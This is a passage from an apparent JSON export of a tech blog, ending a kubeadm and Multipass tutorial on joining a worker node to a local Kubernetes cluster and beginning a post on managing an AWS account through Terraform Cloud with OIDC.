style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster. When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I am going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter this completes it will take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 46m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 79s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster. To do this we can use scp\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e transfer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e local.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maintain a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 56m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 11m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e","category":"Kubernetes","date":"2022-04-17T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","aws_from_scratch_apply_before_merge"],"path":"2023/aws_from_scratch_apply_before_merge","contentHtml":"\u003cp\u003eFollowing this article will get you setup with an AWS Root account that can be\nmanaged through Terraform Cloud with OIDC and github actions. As a best practice you\nshould not keep long-lived access keys in your CI/CD pipelines when\ndeploying to AWS, instead you should use OIDC (OpenID Connect) to securely\ndeploy to AWS when using Terraform Cloud or Github Actions.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/3oZd1m8_KIo\" title=\"AWS From Scratch - Preparing your account to be managed by IaC via Terraform and Github Actions\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture;web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003ch1\u003eTL;DR\u003c/h1\u003e\n\u003cp\u003eDownload all the terraform from the blog post here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-apply-before-merge\"\u003ehttps://github.com/sontek/aws-apply-before-merge\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sontek/aws-terraform-github-actions\"\u003ehttps://github.com/sontek/aws-terraform-github-actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHow does OIDC work\u003c/h1\u003e\n\u003cp\u003eOIDC enables us to request a short-lived access token directly from AWS. We\njust have to create trust relationship that controls which workflows are able\nto request the access tokens.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo need to duplicate AWS credentials as long-lived GitHub secrets.\u003c/li\u003e\n\u003cli\u003eSince we are using a short-lived access token that is only valid for a single\njob there is no reason to worry about rotating secrets.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe following diagram gives an overview of how we can use Terraform Cloud's\nOIDC provider to integrate with AWS:\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart RL\nsubgraph AWS[AWS #1]\n direction LR\n OIDC[OIDC Trust]\n Roles\n Resources\nend\nsubgraph Terraform[Terraform Cloud Workflow #2]\n OIDCProvider[OIDC Provider]\nend\n\nAWS --\u003e Token[Access Token #4] --\u003e Terraform\nTerraform --\u003e JWT[JWT \u0026#x26; Cloud Role ID #3] --\u003e AWS\u003c/pre\u003e\n\u003col\u003e\n\u003cli\u003eIn AWS, create an OIDC trust between a role and our terraform cloud\nworkflow(s) that need access to the cloud.\u003c/li\u003e\n\u003cli\u003eEvery time a job runs, TFC's OIDC Provider auto-generates an OIDC token.\nThis token contains multiple claims to establish a security-hardened and\nverifiable identity about the specific workflow that is trying to authenticate.\u003c/li\u003e\n\u003cli\u003eRequest this token from TFC's OIDC provider, and present it to AWS\u003c/li\u003e\n\u003cli\u003eOnce AWS successfully validates the claims presented in the token, it then\nprovides a short-lived cloud access token that is available only for the duration\nof the job.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eWhat does this post accomplish\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eSetup a root AWS account that is managed through terraform\u003c/li\u003e\n\u003cli\u003eSetup OIDC authentication with Terraform Cloud so it can talk to AWS\u003c/li\u003e\n\u003cli\u003eSetup Github Actions authentication with Terraform Cloud so we can run plan\nand apply through the CI/CD pipeline.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eSetup AWS Access\u003c/h1\u003e\n\u003cp\u003eIt is very bad practice to use the root account for much of anything but for\nbootstrapping the account it is necessary, so the first step is to get your\n\u003ccode\u003eAWS_ACCESS_KEY_ID\u003c/code\u003e and \u003ccode\u003eAWS_SECRET_ACCESS_KEY\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo do this click your account and choose \u003ccode\u003eSecurity Credentials\u003c/code\u003e in the top\nright:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/security_credentials.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThen choose \u003ccode\u003eCreate Access key\u003c/code\u003e:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_root_account/create_access_token.png\" width=\"200\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou need to set these environment variables in your shell so that your local\nshell has access to AWS. After you set them you can verify you set them correctly\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should get a result similar to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::888888888888:root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eBootstrap\u003c/h2\u003e\n\u003cp\u003eBefore you can manage any of your accounts through Terraform Cloud you will need to\nbootstrap some core infrastructure like OIDC so Terraform Cloud can authenticate\nsecurely and manage AWS Resources on your behalf.\u003c/p\u003e\n\u003cp\u003eI personally prefer doing this in two repositories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra-bootstrap\u003c/code\u003e: This repository does the bare minimum to hook up terraform\ncloud with your AWS account and stores the state in git. It is the only infra\nthat will not be controlled by your CI/CD pipeline.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra\u003c/code\u003e: The actual repository where all the rest of your AWS resources are\nmanaged. It will store state in Terraform Cloud and you can introduce a\nCI/CD pipeline for approving changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote\u003c/strong\u003e: This repository will be generated with the terraform code.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter manually creating the git repository \u003ccode\u003einfra-bootstrap\u003c/code\u003e in your Github\naccount We will need 3 providers to bootstrap the account \u003ccode\u003eaws\u003c/code\u003e, \u003ccode\u003egithub\u003c/code\u003e, and\n\u003ccode\u003etfe\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eVariables\u003c/h3\u003e\n\u003cp\u003eCreate a \u003ccode\u003e1-variables.tf\u003c/code\u003e where we can define the variables we will need\nfor creating these resources.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_aws_audience\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"aws.workload.identity\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The audience value to use in run identity tokens\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_hostname\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"app.terraform.io\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The hostname of the TFC or TFE instance you'd like to use with AWS\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_project_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Default Project\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The project under which a workspace will be created\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_organization_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The name of your Terraform Cloud organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_organization_owner\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 